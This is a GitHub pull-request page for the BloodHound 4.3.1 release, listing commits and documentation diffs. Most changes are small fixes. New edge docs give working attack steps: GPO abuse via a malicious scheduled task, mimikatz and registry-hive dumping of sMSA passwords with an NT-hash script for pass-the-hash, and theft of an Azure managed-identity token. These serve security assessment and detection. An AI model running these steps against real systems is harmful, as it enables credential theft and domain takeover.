Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

4.3.1 #668

Merged
merged 89 commits into from
May 23, 2023
Merged

4.3.1 #668

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
89 commits
Select commit Hold shift + click to select a range
df905d2
fixes statement for setGlobalAdminHighValue
lbrauns Oct 6, 2022
4cc70fe
fixes statement for setPrivRoleAdminHighValue
lbrauns Oct 6, 2022
40a618a
Fix edgeIncluded label partially clickable
CravateRouge Oct 11, 2022
a0f1fab
query fix
DoubtfulJerboa Nov 2, 2022
fad91e1
Update wording to "acceptable" terms
cln-io Nov 7, 2022
461cfac
Update linux.rst
angry-bender Dec 9, 2022
f4b5bec
AddAllowedToAct Linux abuse
ShutdownRepo Dec 19, 2022
b88e29c
Adding references for AddAllowedToAct
ShutdownRepo Dec 19, 2022
8f15843
AddKeyCredentialLink Linux abuse
ShutdownRepo Dec 19, 2022
f99e4c0
AddMember Linux abuse
ShutdownRepo Dec 19, 2022
b056853
Fixing missing space with links
ShutdownRepo Dec 19, 2022
b73c2b3
AddSelf Linux abuse
ShutdownRepo Dec 19, 2022
a45e6d7
Adding other UNIX-like tools to AdminTo
ShutdownRepo Dec 19, 2022
6ea097b
AllExtendedRights Linux abuse
ShutdownRepo Dec 19, 2022
8c6b1e5
AllowedToAct Linux abuse
ShutdownRepo Dec 19, 2022
920c0e0
AllowedToDelegate Linux abuse
ShutdownRepo Dec 19, 2022
aac965b
DCSync Linux abuse
ShutdownRepo Dec 19, 2022
b7f2d70
ForceChangePassword Linux abuse
ShutdownRepo Dec 19, 2022
810603e
GenericAll Linux abuse
ShutdownRepo Dec 19, 2022
23b090d
Adding headers for AllExtendedRights linux abuse
ShutdownRepo Dec 19, 2022
34327bc
GenericWrite Linux abuse
ShutdownRepo Dec 19, 2022
91e2186
Fixing indentation
ShutdownRepo Dec 19, 2022
59c534c
GetChanges Linux abuse
ShutdownRepo Dec 19, 2022
361b4eb
GetChangesAll Linux abuse
ShutdownRepo Dec 19, 2022
21dd4b9
Forgot a few references
ShutdownRepo Dec 19, 2022
df384f3
Redundant case
ShutdownRepo Dec 19, 2022
208d42c
Owns Linux abuse
ShutdownRepo Dec 19, 2022
17f2773
Missing Owns refs
ShutdownRepo Dec 19, 2022
d3d67a8
ReadGMSAPassword Linux abuse
ShutdownRepo Dec 19, 2022
7ca242c
ReadLAPSPassword Linux abuse
ShutdownRepo Dec 19, 2022
a79a711
WriteAccountRestrictions Linux abuse
ShutdownRepo Dec 19, 2022
ec3eb5e
WriteDacl Linux abuse
ShutdownRepo Dec 19, 2022
0023864
WriteOwner Linux abuse
ShutdownRepo Dec 19, 2022
867990f
WriteSPN Linux abuse
ShutdownRepo Dec 19, 2022
3ca881a
Added DumpSMSAPassword edge with its documentation
simondotsh Dec 20, 2022
461f0f9
Update Abuse.jsx
chadduffey Dec 31, 2022
7940a00
Update edges.rst
chadduffey Dec 31, 2022
2b6b5e1
Update sharphound.rst with up-to-date link
Japillow Jan 3, 2023
b6a2388
Remove .bin extension from instruction
JonasBK Jan 19, 2023
e4e9a18
Removing addcomputer.py step for AllowedToAct
ShutdownRepo Jan 20, 2023
1714f2e
Fixed missing extension for secretsdump on DCSync, Getchanges, GetCha…
ShutdownRepo Jan 20, 2023
4c6d44a
Adding missing rbcd.py step for GenericAll, GenericWrite, Owns, Write…
ShutdownRepo Jan 20, 2023
38abfea
Replacing LAPSDumper with pyLAPS
ShutdownRepo Jan 20, 2023
9c8789d
Added Installation Instructions and Troubleshooting for Windows
LuemmelSec Feb 13, 2023
48eddf0
Added import of "Group Types" and "Membership Rule" for AZGroups, and…
Feb 20, 2023
8b9c59c
Change SMSA to DumpSMSAPassword and handle TypedPrincipal
simondotsh Mar 30, 2023
7953016
Set DumpSMSAPassword to empty array when not present + add property f…
simondotsh Mar 30, 2023
e7eef8c
Minor Update of Neo4J Compatible Version to 4.4.19
Apr 24, 2023
5f1452a
fix: AddAllowedToAct helptext white screen bug
JonasBK Apr 27, 2023
c227e28
Merge pull request #625 from ShutdownRepo/linux-abuse
JonasBK Apr 27, 2023
6aefe2c
fix: WriteSPN helptext white screen bug
JonasBK Apr 27, 2023
b27dd54
Merge branch 'master' of https://github.com/chadduffey/BloodHound int…
JonasBK Apr 27, 2023
d7135f9
Merge branch 'chadduffey-master' into 4.3.1
JonasBK Apr 27, 2023
a892d77
Merge pull request #609 from cln-io/patch-1
JonasBK Apr 27, 2023
4176bb5
Merge pull request #595 from lbrauns/fix-azpostprocessing
JonasBK Apr 27, 2023
ba42987
Merge pull request #597 from CravateRouge/patch-1
JonasBK Apr 27, 2023
c287fe1
Merge pull request #606 from DoubtfulJerboa/kerberoastable-most-priv-fix
JonasBK Apr 27, 2023
6d63a4c
Merge pull request #631 from Japillow/patch-1
JonasBK Apr 27, 2023
b39e436
Merge pull request #640 from BloodHoundAD/JonasBK-remove-dot-bin
JonasBK Apr 27, 2023
1bd7951
Merge pull request #659 from kaydaskalakis/KayD-Neo4J-Version-Update
JonasBK Apr 27, 2023
071715c
fix: build and run on Windows cmdlet
JonasBK Apr 27, 2023
7d3c0fb
fix: trust edges creation
JonasBK Apr 27, 2023
20ec07c
docs: add abuse info for GenericWrite on GPO
JonasBK Apr 27, 2023
b5403d3
docs: remove ; from line endings
JonasBK Apr 27, 2023
103d9ca
fix: spelling
JonasBK Apr 28, 2023
7029a97
fix: remove half-implemented AzOwner edge
JonasBK Apr 29, 2023
d5ca2bd
fix: remove half-implemented PIM support and releted edges
JonasBK Apr 29, 2023
e89a44b
fix: remove half-implemented AzScopedTo
JonasBK Apr 29, 2023
e2bc162
Merge pull request #647 from ahazu/master
JonasBK May 1, 2023
a4c97d0
fix: MacOS build command
JonasBK May 1, 2023
ef369c2
Merge branch '4.3.1' of https://github.com/BloodHoundAD/BloodHound in…
JonasBK May 1, 2023
73b7bcf
update copyright year and release version in docs
JonasBK May 2, 2023
8dbb079
Merge pull request #622 from angry-bender/master
JonasBK May 2, 2023
0f37b25
docs: fix linux install
JonasBK May 2, 2023
fe4d307
add missing parts of AzManagedIdentities
JonasBK May 3, 2023
147f593
add missing parts of AZPrivilegedAuthAdmin
JonasBK May 3, 2023
ec61dbc
Merge branch 'BloodHoundAD:master' into BloodHound-Documentation-Update
LuemmelSec May 3, 2023
bb6229a
Merge branch '4.3.1' into BloodHound-Documentation-Update
JonasBK May 3, 2023
32f0118
Merge pull request #664 from LuemmelSec/BloodHound-Documentation-Update
JonasBK May 3, 2023
a9f9e97
Merge branch '4.3.1' of https://github.com/BloodHoundAD/BloodHound in…
JonasBK May 3, 2023
33735da
docs: embed Windows installation video
JonasBK May 3, 2023
57a4ad1
docs: replace AZKeyVaultKVContributor with AZKeyVaultContributor
JonasBK May 4, 2023
9c05de2
fix: missing edges in fullEdgeList
JonasBK May 4, 2023
cd8b372
docs: fix AllExtendedRights abuse info
JonasBK May 7, 2023
e872150
Merge branch '4.3.1' into master
JonasBK May 7, 2023
4972d2e
Merge pull request #626 from simondotsh/master
JonasBK May 7, 2023
8173206
fix: missing RBCD abuse info in AllExtendedRights
JonasBK May 13, 2023
9256893
docs: add s to CollectionMethod
JonasBK May 17, 2023
a4c2211
update collectors
JonasBK May 17, 2023
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file modified Collectors/DebugBuilds/SharpHound.exe
Binary file not shown.
Binary file modified Collectors/DebugBuilds/SharpHound.pdb
Binary file not shown.
275 changes: 25 additions & 250 deletions Collectors/DebugBuilds/SharpHound.ps1

Large diffs are not rendered by default.

Binary file modified Collectors/SharpHound.exe
Binary file not shown.
275 changes: 25 additions & 250 deletions Collectors/SharpHound.ps1

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -36,7 +36,7 @@ You can create your own example Active Directory environment using [BadBlood](ht

BloodHound uses graph theory to reveal hidden relationships and
attack paths in an Active Directory environment.
Copyright (C) 2016-2022 Specter Ops Inc.
Copyright (C) 2016-2023 Specter Ops Inc.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
Expand Down
4 changes: 2 additions & 2 deletions docs/conf.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,11 +18,11 @@
# -- Project information -----------------------------------------------------

project = 'BloodHound'
copyright = '2016-2022, Specter Ops Inc.'
copyright = '2016-2023, Specter Ops Inc.'
author = 'The BloodHound Enterprise Team'

# The full version, including alpha/beta/rc tags
release = '4.2.0'
release = '4.3.1'


# -- General configuration ---------------------------------------------------
Expand Down
203 changes: 195 additions & 8 deletions docs/data-analysis/edges.rst
Original file line number Diff line number Diff line change
Expand Up @@ -1242,7 +1242,7 @@ binary bytes for the new DACL/ACE:
$SD.GetBinaryForm($SDBytes, 0)

Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity
field of the comptuer account we're taking over, again using PowerView in this case:
field of the computer account we're taking over, again using PowerView in this case:

::

Expand Down Expand Up @@ -1507,6 +1507,29 @@ See the abuse info under the AddMembers edge for more information
With GenericWrite over a computer, perform resource-based constrained delegation against the
computer. See the GenericAll edge abuse info for more information about that attack.

**GPO**

With GenericWrite on a GPO, you may make modifications
to that GPO which will then apply to the users and
computers affected by the GPO. Select the target object
you wish to push an evil policy down to, then use the
gpedit GUI to modify the GPO, using an evil policy that
allows item-level targeting, such as a new immediate
scheduled task. Then wait for the group
policy client to pick up and execute the new evil
policy. See the references tab for a more detailed write
up on this abuse.

This edge can be a false positive in rare scenarios. If you have
GenericWrite on the GPO with 'This object only' (no inheritance)
and no other permissions in the ACL, it is not possible to add or
modify settings of the GPO. The GPO's settings are stored in
SYSVOL under a folder for the given GPO. Therefore, you need write
access to child objects of this folder or create child objects
permission. The security descriptor of the GPO is reflected on
the folder, meaning permissions to write child items on the GPO
are required.

Opsec Considerations
--------------------

Expand Down Expand Up @@ -1711,7 +1734,7 @@ To abuse this privilege, use Whisker:

Whisker.exe add /target:<TargetPrincipal>

For other optional parameters, view the Whisper documentation.
For other optional parameters, view the Whisker documentation.

Opsec Considerations
--------------------
Expand Down Expand Up @@ -1939,16 +1962,18 @@ Abuse Info
Having this privilege over a user grants the ability to reset the user's password. For
more information about that, see the ForceChangePassword edge section

**Groups**

This privilege grants the ability to modify group memberships. For more information on
that, see the AddMembers edge section

**Computers**

You may perform resource-based constrained delegation with this privilege over a computer
object. For more information about that, see the GenericAll edge section.

**Domain**
The AllExtendedRights privilege grants both the
DS-Replication-Get-Changes and DS-Replication-Get-Changes-All
privileges, which combined allow a principal to replicate objects from the domain.
This can be abused using the lsadump::dcsync command in mimikatz.


Opsec Considerations
--------------------

Expand Down Expand Up @@ -2202,6 +2227,86 @@ References

|

DumpSMSAPassword
^^^^^^^^^^^^^^^^^^^^

A computer with this indicates that a Standalone Managed Service Account (sMSA)
is installed on it. An actor with administrative privileges on the computer
can retrieve the sMSA's password by dumping LSA secrets.

Abuse Info
------------

From an elevated command prompt on the computer where the sMSA resides, run
mimikatz then execute the following commands:

::

privilege::debug
token::elevate
lsadump::secrets

In the output, find *_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_* suffixed by the
name of the targeted sMSA. The next line contains *cur/hex :* followed with the
sMSA's password hex-encoded.

To use this password, its NT hash must be calculated. This can be done using
a small python script:

::

# nt.py
import sys, hashlib

pw_hex = sys.argv[1]
nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()

print(nt_hash)

Execute it like so:

::

python3 nt.py 35f3e1713d61...

To authenticate as the sMSA, leverage pass-the-hash.

Alternatively, to avoid executing mimikatz on the host, you can save a copy of
the *SYSTEM* and *SECURITY* registry hives from an elevated prompt:

::

reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY

Transfer the files named *SYSTEM* and *SECURITY* that were saved at *%temp%* to
another computer where mimikatz can be safely executed.

On this other computer, run mimikatz from a command prompt then execute the
following command to obtain the hex-encoded password:

::

lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY

Opsec Considerations
--------------------

Access to registry hives can be monitored and alerted via event ID 4656
(A handle to an object was requested).

References
----------

* https://simondotsh.com/infosec/2022/12/12/assessing-smsa.html
* https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
* https://github.com/gentilkiwi/mimikatz

|

----

|

AZAddMembers
^^^^^^^^^^^^

Expand Down Expand Up @@ -2974,7 +3079,7 @@ References

|

AZKeyVaultKVContributor
AZKeyVaultContributor
^^^^^^^

The Key Vault Contributor role grants full control of the
Expand Down Expand Up @@ -3048,6 +3153,58 @@ References

|

AZManagedIdentity
^^^^^^^^

Azure resources like Virtual Machines, Logic Apps, and Automation Accounts
can be assigned to either System- or User-Assigned Managed Identities.
This assignment allows the Azure resource to authenticate to Azure services
as the Managed Identity without needing to know the credential for that
Managed Identity. Managed Identities, whether System- or User-Assigned, are
AzureAD Service Principals.

Abuse Info
------------

You can modify the Azure RM resource to execute actions against Azure with the
privileges of the Managed Identity Service Principal.

It is also possible to extract a JSON Web Token (JWT) for the Service Principal,
then use that JWT to authenticate as the Service Principal outside the scope of
the Azure RM resource. Here is how you extract the JWT using PowerShell:

::


$tokenAuthURI = $env:MSI_ENDPOINT + "?resource=https://graph.microsoft.com/&api-version=2017-09-01"
$tokenResponse = Invoke-RestMethod -Method Get -Headers @{"Secret"="$env:MSI_SECRET"} -Uri $tokenAuthURI
$tokenResponse.access_token


We can then use this JWT to authenticate as the Service Principal to the Microsoft
Graph APIs using BARK for example.


Opsec Considerations
--------------------

This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.

References
----------

* https://attack.mitre.org/techniques/T1078/
* https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a
* https://m365internals.com/2021/11/30/lateral-movement-with-managed-identities-of-azure-virtual-machines
* https://github.com/BloodHoundAD/BARK

|

----

|


AZMemberOf
^^^^^^^

Expand Down Expand Up @@ -3837,6 +3994,36 @@ References

|

AZPrivilegedAuthAdmin
^^^^^^^^^^^^^

This edge indicates the principal has the Privileged Authentication Administrator
role active against the target tenant. Principals with this role can update
sensitive properties for all users. Privileged Authentication Administrator can
set or reset any authentication method (including passwords) for any user,
including Global Administrators.

Abuse Info
------------

See the abuse info under AZAddSecret or AZResetPassword.

Opsec Considerations
--------------------

See the opsec consideration under AZAddSecret or AZResetPassword.

References
----------

* https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#privileged-authentication-administrator

|

----

|

AZPrivilegedRoleAdmin
^^^^^^^^^^^^^^^^^^^^^

Expand Down
1 change: 0 additions & 1 deletion docs/data-analysis/nodes.rst
Original file line number Diff line number Diff line change
Expand Up @@ -1234,7 +1234,6 @@ Assignments
-------------------

* **Active Assignments**: The assets with this role actively assigned.
* **PIM Assignments**: The assets with this PIM assigned.

AZKeyVault
^^^^^
Expand Down
4 changes: 2 additions & 2 deletions docs/data-collection/sharphound-all-flags.rst
Original file line number Diff line number Diff line change
Expand Up @@ -7,13 +7,13 @@ performance, output, and other behaviors.
Enumeration Options
^^^^^^^^^^^^^^^^^^^

CollectionMethod
CollectionMethods
----------------

This tells SharpHound what kind of data you want to collect. These are the most
common options you'll likely use:

* **Default:** You can specify default collection, or don't use the CollectionMethod
* **Default:** You can specify default collection, or don't use the CollectionMethods
option and this is what SharpHound will do. Default collection includes Active
Directory security group membership, domain trusts, abusable permissions on AD
objects, OU tree structure, Group Policy links, the most relevant AD object
Expand Down
4 changes: 2 additions & 2 deletions docs/data-collection/sharphound.rst
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ Download the pre-compiled SharpHound binary and PS1 version at
https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

You can view the source code for SharpHound and build it from source
by visiting the SharpHound repo at https://github.com/BloodHoundAD/SharpHound3
by visiting the SharpHound repo at https://github.com/BloodHoundAD/SharpHound

Basic Usage
^^^^^^^^^^^
Expand Down Expand Up @@ -166,7 +166,7 @@ AV signatures.

If you are on the blue team side, you can use the same AV bypass techniques used by
the red team, or you can request an exception for the SharpHound binary itself or
possibly a folder that you run SharpHound out of. Be aware though that whitelisted
possibly a folder that you run SharpHound out of. Be aware though that AV excluded
folders and files can commonly be enumerated by low-privilege users running on the
same system, so try to be as specific as possible with your white-list exceptions.

Expand Down
Binary file added docs/images/java_home_check.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added docs/images/java_home_variable.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added docs/images/neo4j_error_1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added docs/images/neo4j_error_2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added docs/images/neo4j_paths.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading